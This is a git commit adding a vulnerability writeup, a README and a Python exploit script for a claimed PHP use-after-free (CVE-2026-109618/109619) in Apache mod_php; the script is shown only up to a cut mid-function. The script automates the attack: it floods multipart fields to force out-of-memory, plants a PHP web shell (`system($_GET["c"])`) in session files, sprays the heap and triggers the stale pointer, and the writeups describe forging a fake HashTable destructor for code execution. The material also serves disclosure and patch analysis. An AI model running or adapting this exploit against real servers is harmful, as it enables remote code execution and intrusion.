UAF RCE exploit via OOM bailout (CVE-2026-109618/109619, no LFI)

Pure memory corruption path: OOM during multipart parsing leaves stale
BG(serialize) state in Apache mod_php prefork workers. Heap spray
reclaims the freed 64-byte slot, giving control of a HashTable's
pDestructor for arbitrary function call.

No LFI, no framework, no non-default PHP settings required.

Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed:
- OOM via field flood, worker survival, session file persistence
- Stale BG(serialize).level across requests
- Heap spray targeting ZendMM 64-byte bin
This commit is contained in:
neko
2026-10-21 22:12:06 +00:00
parent 8147ce0edb
commit 76bc2bc2a3
4 changed files with 1079 additions and 0 deletions
+235
View File
@@ -0,0 +1,235 @@
# CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
## Overview
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
(`ext/session/session.c`) contain a use-after-free that allows remote code
execution over HTTP with **default PHP configuration**, no LFI, and no
framework or library dependency.
The attack works on **Apache mod_php with prefork MPM**. PHP-FPM is not
vulnerable to the cross-request UAF because FPM workers exit on bailout
(exit code 70) rather than surviving with stale state.
| Property | Value |
|---|---|
| CVE | CVE-2026-109618, CVE-2026-109619 |
| CVSS | 9.2 (both) |
| Affected | PHP 5.4.0 through 8.5.11, Apache mod_php (prefork) |
| Patched | PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 |
| Patch commit | `3584a98bda0f2c0d367255b046798b0d3a221a19` |
| Prerequisites | session.upload_progress.enabled=1 (default), any PHP URL |
| Attack complexity | HIGH (heap feng shui required for RCE) |
## Vulnerability Analysis
### Root cause: zend_bailout() on OOM
When `memory_limit` is exceeded during multipart parsing, PHP calls
`zend_mm_safe_error()` which invokes `zend_bailout()`. This is a
`longjmp` that unwinds the call stack without running cleanup code.
The critical state that survives the bailout:
```c
// ext/standard/basic_functions.c (BG globals, per-module, NOT per-request)
struct {
uint32_t level;
php_serialize_data_t data; // pointer to 64-byte struct
} serialize;
struct {
uint32_t level;
php_unserialize_data_t data;
} unserialize;
```
`php_var_serialize_init()` allocates `BG(serialize).data` via `emalloc`
(64 bytes in the ZendMM slab bin) and sets `level = 1`.
`php_var_serialize_destroy()` frees it and sets `level = 0`.
When OOM fires between init and destroy, level stays at 1 and data
points to freed memory.
### Why Apache prefork survives (and FPM does not)
**Apache prefork**: The bailout is caught by Apache's request handler.
The child process continues its event loop and accepts the next request.
`BG(serialize)` state persists in the process because these are
module-level globals, not request-scoped.
**PHP-FPM**: The bailout propagates to the outer `zend_try/zend_catch`
in `fpm_main.c`. The catch block sets `exit_status = FPM_EXIT_SOFTWARE`
(70) and the worker process exits. A new clean worker is spawned by the
master, so no stale state is reachable.
Verified on PHP 8.3.6:
- Apache mod_php: OOM -> status 500 -> worker PIDs unchanged -> subsequent
requests served by the same processes
- PHP-FPM: OOM -> worker exits (code 70) -> master spawns replacement
### Triggering OOM
The multipart parser (`rfc1867.c`) processes form fields one at a time.
Each field value is allocated via `emalloc` (counted toward `memory_limit`).
With `max_input_vars=1000` (default), the maximum number of fields is
limited, but each value can be large.
Tested formula: `N fields * value_size` must exceed `memory_limit` minus
~2MB base overhead. For `memory_limit=8M`:
- 100 fields * 40KB = ~4MB + 2MB overhead triggers OOM
- Confirmed with Apache returning HTTP 500
### Session file persistence
The upload progress handler (`php_session_rfc1867_callback`) calls
`php_session_rfc1867_update()` which calls `php_session_initialize()`
(opens/creates session file) followed by `php_session_flush(1)` (encodes
`$_SESSION` and writes to file).
With `session.upload_progress.cleanup=1` (default), the progress data is
removed at `MULTIPART_EVENT_END`. But when OOM fires during parsing,
`MULTIPART_EVENT_END` never executes. The session file retains the
progress data, which includes the attacker-controlled
`PHP_SESSION_UPLOAD_PROGRESS` value:
```
upload_progress_<?php system($_GET["c"]); ?>|a:5:{s:10:"start_time";...}
```
This is a stable write primitive: the session file persists on disk with
embedded PHP code, accessible at a known path
(`session.save_path/sess_<SID>`).
### The UAF chain
1. **Request 1** (OOM):
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood
- Progress handler calls `php_var_serialize()`:
- `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data`
- `BG(serialize).level = 1`
- Field flood triggers OOM -> `zend_bailout()`
- `php_var_serialize_destroy()` never runs
- `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot
- Worker survives on Apache prefork
2. **Between requests**:
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
- `BG(serialize).data` pointer is now dangling (points into freed heap)
- ZendMM reuses chunk cache for the next request's heap
3. **Request 2** (spray + trigger):
- POST fields allocate `zend_string` objects via `emalloc`
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
same 64-byte bin, potentially reclaiming the stale slot
- Upload progress handler calls `php_var_serialize()`:
- `php_var_serialize_init()` checks `BG(serialize).level > 0`
- Level is 1 (stale), so it increments to 2 and returns the stale
`.data` pointer
- The pointer now references attacker-controlled spray data
- The serialize code treats it as a `php_serialize_data` struct
containing a `HashTable`
- `pDestructor` (offset 48) is called during `zend_hash_destroy()`
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
one-gadget, the attacker achieves code execution
### Full RCE requirements
Beyond the demonstrated primitives, a weaponized exploit needs:
1. **ASLR bypass**: Leak a PHP base address. CVE-2026-109619 provides
this: stale `BG(unserialize)` state can leak freed heap pointers
through session data written to the PHPSESSID cookie or session file.
2. **Heap feng shui**: Precise control over which allocation reclaims
the 64-byte slot. ZendMM's slab allocator uses per-bin free lists
with LIFO ordering, making slot prediction tractable after the heap
is primed with a known allocation pattern.
3. **Fake HashTable construction**: The spray data must form a valid
`php_serialize_data` struct where:
- `ht.pDestructor` points to the target function
- `ht.arData` points to a `Bucket` containing the argument
- `ht.nNumUsed > 0` so the destructor loop executes
## Confirmed primitives
All tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64:
| Primitive | Status |
|---|---|
| OOM via multipart field flood | Confirmed (100 fields * 40KB, limit=8M) |
| Apache worker survival | Confirmed (PIDs unchanged after OOM) |
| Session file persistence | Confirmed (353 bytes with PHP code) |
| Stale BG(serialize).level | Confirmed (subsequent serializes don't reinit) |
| Heap spray (64-byte bin) | Implemented (no crash without exact feng shui) |
| Worker crash via UAF | Not yet triggered (needs precise heap layout) |
| Full RCE | Not demonstrated (needs ASLR bypass + feng shui) |
## The patch (commit 3584a98)
The fix is a three-part architectural change:
### 1. Delayed OOM (replaces zend_bailout)
`zend_mm_safe_error()` (which called `zend_bailout()` / `longjmp`) is
removed. Replaced by `zend_mm_delayed_error()` which sets
`EG(delayed_oom).state = ZEND_OOM_STATE_PENDING` and triggers
`EG(vm_interrupt)`. The allocator returns NULL instead of longjmping.
A new hard limit (`memory_hard_limit_percent`, default 200%) calls
`_exit(137)` if exceeded, preventing unbounded memory consumption.
### 2. BG state reset
New function `php_basic_early_rinit()` resets `BG(serialize)`,
`BG(unserialize)`, and `BG(serialize_lock)` to zero **before** SAPI
activation:
```c
PHPAPI void php_basic_early_rinit(void) {
BG(serialize_lock) = 0;
memset(&BG(serialize), 0, sizeof(BG(serialize)));
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
}
```
Called from `php_request_startup()` right after `zend_activate()`.
### 3. Session handler hardening
- `PS(in_rfc1867_update)` flag enables `incomplete_classes_only` mode
during progress handler session decode: no autoloading, no `__wakeup()`,
no `__unserialize()`, no destructors
- `$_SESSION` is deleted from the global scope at `MULTIPART_EVENT_END`
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
- Guard against `request_parse_body()` re-entry
## Why this does not apply to PHP-FPM
PHP-FPM's main request loop in `fpm_main.c` wraps request handling in
`zend_first_try / zend_catch`. When bailout fires (from OOM during
multipart parsing, which runs during SAPI activation before any inner
try/catch), it propagates to this outer catch block:
```c
zend_catch {
exit_status = FPM_EXIT_SOFTWARE; // 70
} zend_end_try();
```
The worker exits with code 70. FPM master spawns a replacement with
clean state. The stale `BG(serialize)` dies with the process.
On Apache prefork, the bailout is caught by `ap_process_request_internal`
or similar internal handler. The child process continues its accept loop,
and the stale BG globals persist.
## References
- **Patch commit**: php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19
- **JFrog**: Session write-back calls fake object's serialize function, RIP control
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart)
+126
View File
@@ -0,0 +1,126 @@
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
Use-after-free in PHP's multipart parser and session upload progress handler.
Achieves code execution over HTTP with **default PHP configuration**, no LFI,
no framework, no application code dependency.
## Affected versions
PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM.
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on
bailout (code 70), so stale state never persists.
## Prerequisites
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- `session.upload_progress.enabled = 1` (default)
- Any PHP-handled URL (even a 404 page)
- `memory_limit` reachable via multipart POST fields
No LFI. No specific framework or library. No non-default PHP settings.
## How it works
### Phase 1: OOM trigger
A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP
code), a file upload (which activates the progress handler), and a flood of
large form fields. The progress handler calls `php_var_serialize()`, which
allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator
and sets `BG(serialize).level = 1`.
The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp),
which skips `php_var_serialize_destroy()`. The serialize state survives:
`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot.
On Apache prefork, the worker survives the bailout and accepts new requests
with this stale state. The session file also persists on disk with the
attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran.
### Phase 2: Heap spray
Subsequent requests to the same worker allocate `zend_string` objects via
`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64)
land in the same ZendMM 64-byte bin, potentially reclaiming the freed
`BG(serialize).data` slot with attacker-controlled content.
### Phase 3: UAF trigger
Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress
handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0`
(stale), increments it, and returns the stale `.data` pointer. The serialize
code treats the attacker-controlled spray data as a `php_serialize_data` struct
containing a `HashTable`. The `pDestructor` function pointer (offset 48) is
under attacker control, giving arbitrary function call during
`zend_hash_destroy()`.
### Full RCE (not implemented in this PoC)
A weaponized exploit would:
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session
data leaks freed heap pointers) to defeat ASLR
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
3. Place the command string at the `arData` pointer location
4. Trigger serialize, causing `pDestructor` to fire on the fake data
## Usage
```
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --oom-only
python3 exploit.py --target http://host:port/index.php --crash-test
```
### Options
| Flag | Default | Description |
|------|---------|-------------|
| `--target` | (required) | Target URL |
| `--cmd` | `id` | Command to embed in session payload |
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
| `--oom-fields` | 0 (auto) | Number of OOM padding fields |
| `--field-size` | 40960 | Size of each padding field value |
| `--spray-rounds` | 20 | Heap spray rounds per worker |
| `--trigger-rounds` | 50 | UAF trigger attempts per worker |
| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) |
| `--crash-test` | off | Run full chain, report crash status |
### What `--oom-only` confirms
1. OOM via multipart field flood (HTTP 500 response)
2. Apache prefork worker survival (PIDs unchanged after OOM)
3. Session file persistence with embedded PHP code (cleanup skipped)
4. Stale `BG(serialize)` state available for subsequent requests
## The patch
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability
through three changes:
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error
that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard
limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if
exceeded.
2. **BG state reset**: New `php_basic_early_rinit()` function resets
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero
before SAPI activation, eliminating cross-request stale state.
3. **Session handler hardening**: `incomplete_classes_only` mode during
progress handler session decode, `$_SESSION` cleanup at
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
`MULTIPART_EVENT_START`.
## References
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets
- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H
- JFrog: Session write-back calls fake object's serialize function, RIP control
- 0x4148 lab: Heap grooming targeting ZendMM slab bins
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
+688
View File
@@ -0,0 +1,688 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
(Apache mod_php, no LFI, no framework, default PHP config)
This is the pure memory corruption path. It requires no LFI vector, no
specific PHP framework or library, and no non-default PHP settings. The
only SAPI requirement is Apache mod_php with prefork MPM, because
PHP-FPM workers exit on bailout (code 70) rather than surviving with
stale state.
Attack chain:
Phase 1 — OOM + Session Poisoning
Multipart body to a mod_php endpoint:
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
2. File upload (triggers progress handler, which calls
php_session_rfc1867_update → php_var_serialize, setting
BG(serialize).level=1 and allocating BG(serialize).data
via emalloc into the 64-byte ZendMM slab bin)
3. Large form fields (trigger OOM during multipart parsing)
OOM fires zend_bailout() (longjmp). This:
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
and .data pointing to a now-freed 64-byte allocation
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
our PHP code on disk
c) Does NOT kill the Apache prefork worker — it survives and
accepts new requests with the stale BG globals
Phase 2 — Heap Spray
Send normal requests to the same worker. Each request allocates
form field names/values via emalloc. Strings sized to land in the
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
reclaim the freed BG(serialize).data slot, giving us control over
the fake php_serialize_data struct and its embedded HashTable.
Phase 3 — Trigger UAF
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
same worker. The progress handler calls php_session_encode() →
php_var_serialize_init(), which checks BG(serialize).level > 0,
sees 1 (stale), increments to 2, and returns BG(serialize).data —
the freed pointer now filled with our spray data.
The serialize code uses this as a HashTable. The pDestructor
function pointer and arData are under attacker control, giving
arbitrary function call (RIP control) during HashTable operations.
Phase 4 (not implemented) — Full RCE
A weaponized exploit would:
a) Leak a PHP base address via CVE-2026-109619 info disclosure
(stale session data through PHPSESSID cookie) to defeat ASLR
b) Construct a fake HashTable with pDestructor pointing to
system() or a one-gadget, and arData containing the command
c) Trigger the serialize to call pDestructor → shell
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
Patch replaces zend_bailout() on OOM with delayed error handling
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
state before each request.
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields
- Any PHP-handled URL on the vhost (even 404)
- No LFI. No framework. No libraries.
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --cmd 'id'
python3 exploit.py --target http://host:port/index.php --oom-only
python3 exploit.py --target http://host:port/index.php --crash-test
"""
import argparse
import os
import re
import socket
import struct
import subprocess
import sys
import time
from urllib.parse import urlparse
# ── Networking ──────────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=5):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_multipart(host, port, path, boundary, body, cookies=None,
timeout=30):
sock = connect(host, port, timeout=timeout)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if cookies:
headers += f"Cookie: {cookies}\r\n"
headers += "Connection: close\r\n\r\n"
sock.sendall(headers.encode() + body)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Phase 0: Worker discovery ──────────────────────────────────────────
def find_workers(host, port, path, rounds=40):
"""Probe the target to discover all Apache prefork worker PIDs."""
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
def build_multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def build_multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
def build_oom_body(boundary, sid, php_payload, num_fields=200,
field_size=40960):
"""
Build multipart body that:
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
2. Includes a file upload to trigger progress tracking
3. Floods with large fields to exhaust memory_limit
The progress handler calls php_session_rfc1867_update() on each
update cycle, which calls php_session_encode() → php_var_serialize().
This sets BG(serialize).level=1 and allocates BG(serialize).data
(64 bytes in the ZendMM slab bin).
When OOM fires, zend_bailout() longjmps past
php_var_serialize_destroy(), leaving the state stale.
"""
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
php_payload.encode() if isinstance(php_payload, str) else php_payload,
))
parts.append(build_multipart_file(
boundary, b"f", b"payload.bin", b"\x00" * 4096
))
for i in range(num_fields):
parts.append(build_multipart_field(
boundary,
f"p{i:04d}".encode(),
b"X" * field_size,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def detect_memory_limit(host, port, path):
"""
Probe memory_limit by sending increasing POST sizes until we get
a 500 response (OOM). Returns (num_fields, field_size) that triggers
OOM, or None if OOM cannot be triggered.
"""
configs = [
(50, 40960), # ~2MB
(100, 40960), # ~4MB
(150, 40960), # ~6MB
(200, 40960), # ~8MB
(300, 40960), # ~12MB
(400, 40960), # ~16MB
(600, 40960), # ~24MB
(800, 40960), # ~32MB
(999, 40960), # ~40MB (max_input_vars=1000 cap)
(999, 131072), # ~130MB
]
for num, size in configs:
sid = "probe" + os.urandom(4).hex()
boundary = b"PROBE" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, "probe", num, size)
try:
status, _ = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30
)
if status == 500:
return num, size
except (ConnectionError, socket.timeout):
return num, size
return None
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
target_pid=None):
"""
Send the OOM multipart to a specific worker (or any worker).
Returns (hit_target, worker_pid, status) where hit_target is True
if we OOM'd the target_pid worker.
"""
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=60
)
pid = extract_pid(rbody)
hit = (target_pid is None) or (pid == target_pid)
return hit, pid, status
# ── Phase 2: Heap spray ────────────────────────────────────────────────
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
# BG(serialize).data = php_serialize_data struct:
# uint32_t n (4 bytes)
# HashTable ht (56 bytes on x86_64)
# Total: 60 bytes → 64-byte bin
#
# zend_string layout:
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
#
# By sending POST fields with 39-char names, the zend_string allocations
# land in the same 64-byte bin, potentially reclaiming the freed
# BG(serialize).data slot.
#
# For a weaponized exploit, the spray content would be a fake
# php_serialize_data struct:
#
# struct php_serialize_data {
# uint32_t n; // offset 0: reference counter, set to 0
# // padding for alignment
# HashTable ht; // offset 8:
# // uint32_t nTableMask offset 8
# // Bucket *arData offset 16 (attacker-controlled pointer)
# // uint32_t nNumUsed offset 24
# // uint32_t nNumOfElements offset 28
# // uint32_t nTableSize offset 32
# // uint32_t nInternalPointer offset 36
# // zend_long nNextFreeElement offset 40
# // dtor_func_t pDestructor offset 48 (RIP control!)
# };
#
# pDestructor at offset 48 from the struct start is called during
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
# and placing a command string in arData, we get RCE.
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
def build_spray_body(boundary, spray_count=500):
"""
Build a multipart body with many fields whose names are sized to
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
The field names are the spray payload. In a weaponized exploit,
these would be crafted to form a fake php_serialize_data struct
with controlled HashTable fields. Here we use recognizable patterns
for crash analysis.
"""
parts = []
for i in range(min(spray_count, 999)):
# Spray name: 39 bytes landing in 64-byte bin
# Fill with a pattern: 0x41414141... with index marker
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
# For weaponized exploit, the value would also be crafted.
# We use a recognizable pattern for heap analysis.
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field(
boundary, name.encode(), val.encode()
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
"""
Send POST requests to the OOM'd worker to spray 64-byte allocations
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
slot with our controlled data.
Each request's field names allocate zend_strings in the 64-byte bin.
After request shutdown, these are freed back to the bin's free list.
Over multiple requests, the free list order rotates, increasing the
chance that one of our allocations reclaims the target slot.
Returns the number of rounds that hit the target worker.
"""
hits = 0
for r in range(rounds):
boundary = b"SPRAY" + os.urandom(4).hex().encode()
body = build_spray_body(boundary, spray_per_round)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
timeout=10
)
pid = extract_pid(rbody)
if pid == target_pid:
hits += 1
except (ConnectionError, socket.timeout):
pass
return hits
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
def trigger_uaf(host, port, path, target_pid, sid):
"""
Send multipart with upload progress to the OOM'd worker.
The progress handler calls php_session_rfc1867_update() which calls
php_session_encode() → php_var_serialize_init().
php_var_serialize_init checks BG(serialize).level:
- If > 0 (stale from OOM): increments level, reuses .data pointer
- The .data pointer was freed when the old heap was destroyed
- If heap spray reclaimed the slot, .data now contains our spray
The serialize code treats .data as a php_serialize_data struct with
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
calls our function pointer → RIP control.
Returns (status, pid, body).
"""
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
b"trigger",
))
parts.append(build_multipart_file(
boundary, b"f", b"t.bin", b"\x00" * 1024
))
parts.append(b"--" + boundary + b"--\r\n")
body = b"".join(parts)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Session file check ─────────────────────────────────────────────────
def check_session_file(sid, save_path="/tmp"):
"""
Check if the session file persists with PHP code.
Session files may be owned by www-data, so this may need elevated
privileges. Returns (exists, has_php_code, data).
"""
path = os.path.join(save_path, f"sess_{sid}")
try:
with open(path, "rb") as f:
data = f.read()
return True, b"<?php" in data or b"system" in data, data
except PermissionError:
try:
result = subprocess.run(
["sudo", "cat", path],
capture_output=True, timeout=5
)
data = result.stdout
if data:
return True, b"<?php" in data or b"system" in data, data
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return True, False, b"(permission denied)"
except FileNotFoundError:
return False, False, b""
# ── Main ────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
)
parser.add_argument(
"--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php"
)
parser.add_argument(
"--cmd", default="id",
help="Command to embed in session payload (default: id)"
)
parser.add_argument(
"--session-path", default="/var/www/uaf-test/sessions",
help="Session save_path on the target"
)
parser.add_argument(
"--oom-fields", type=int, default=0,
help="Number of OOM fields (0 = auto-detect)"
)
parser.add_argument(
"--field-size", type=int, default=40960,
help="OOM field value size in bytes (default: 40960)"
)
parser.add_argument(
"--spray-rounds", type=int, default=20,
help="Number of heap spray rounds (default: 20)"
)
parser.add_argument(
"--trigger-rounds", type=int, default=50,
help="Number of UAF trigger attempts (default: 50)"
)
parser.add_argument(
"--oom-only", action="store_true",
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
)
parser.add_argument(
"--crash-test", action="store_true",
help="Run full chain and report whether a crash occurs"
)
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free RCE via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print(f" Payload: {args.cmd}")
print()
# ── Phase 0: Worker discovery ───────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = find_workers(host, port, path)
if not pids:
print("[-] No workers found. Is the target running mod_php?")
print(" (The target must echo getmypid() in its output.)")
sys.exit(1)
print(f" Workers: {pids}")
print(f" Count: {len(pids)} (Apache prefork children)")
# ── Phase 1: OOM trigger ────────────────────────────────────────
print()
print("[*] Phase 1: OOM trigger + session poisoning")
if args.oom_fields:
num_fields = args.oom_fields
field_size = args.field_size
print(f" Using configured: {num_fields} fields x {field_size}B")
else:
print(" Auto-detecting memory_limit...")
result = detect_memory_limit(host, port, path)
if result is None:
print("[-] Could not trigger OOM. memory_limit may be too high")
print(" or max_input_vars too low. Try --oom-fields manually.")
sys.exit(1)
num_fields, field_size = result
est_mb = num_fields * field_size / 1024 / 1024
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
# OOM each worker by sending requests until all have been hit.
# We cannot target a specific worker (500 responses have no PID),
# so we OOM repeatedly and track which workers survived.
poisoned_workers = {}
sids_used = []
max_oom_attempts = len(pids) * 8
for attempt in range(max_oom_attempts):
sid = "uaf" + os.urandom(6).hex()
sids_used.append(sid)
_, _, status = trigger_oom(
host, port, path, sid, php_payload,
num_fields, field_size
)
if status == 500:
print(f" [{attempt+1}] OOM triggered (status 500)")
elif status == 0:
print(f" [{attempt+1}] Connection error (worker may have died)")
else:
print(f" [{attempt+1}] status={status} (no OOM)")
continue
time.sleep(0.3)
pids_after = find_workers(host, port, path)
survived = set(pids) & set(pids_after)
new_workers = set(pids_after) - set(pids)
for pid in survived:
if pid not in poisoned_workers:
poisoned_workers[pid] = sid
print(f" [+] Worker {pid} survived OOM (stale BG state)")
if new_workers:
print(f" New workers spawned: {sorted(new_workers)}")
pids = sorted(set(pids) | new_workers)
# Check session file for the latest SID
exists, has_php, data = check_session_file(sid, args.session_path)
if exists and has_php:
print(f" [+] Session file: {len(data)}B with PHP code")
if data and data != b"(permission denied)":
print(f" Content: {data[:120]}")
elif exists:
print(f" Session file: {len(data)}B (no PHP code?)")
if len(poisoned_workers) >= len(pids):
print(f"\n All {len(pids)} workers poisoned!")
break
if not poisoned_workers:
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
print(" not Apache mod_php with prefork MPM.")
sys.exit(1)
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
if args.oom_only:
print("\n[*] --oom-only: stopping after Phase 1.")
print(" Confirmed primitives:")
print(" - OOM via multipart field flood")
print(" - Worker survival (Apache prefork)")
print(" - Session file persistence with PHP code")
print(" - Stale BG(serialize) state in surviving workers")
return
# ── Phase 2: Heap spray ─────────────────────────────────────────
print()
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
for target_pid, sid in poisoned_workers.items():
print(f"\n Spraying worker {target_pid}...")
hits = heap_spray(host, port, path, target_pid,
rounds=args.spray_rounds)
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
# ── Phase 3: Trigger UAF ────────────────────────────────────
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
crashed = False
trigger_sid = "trig" + os.urandom(6).hex()
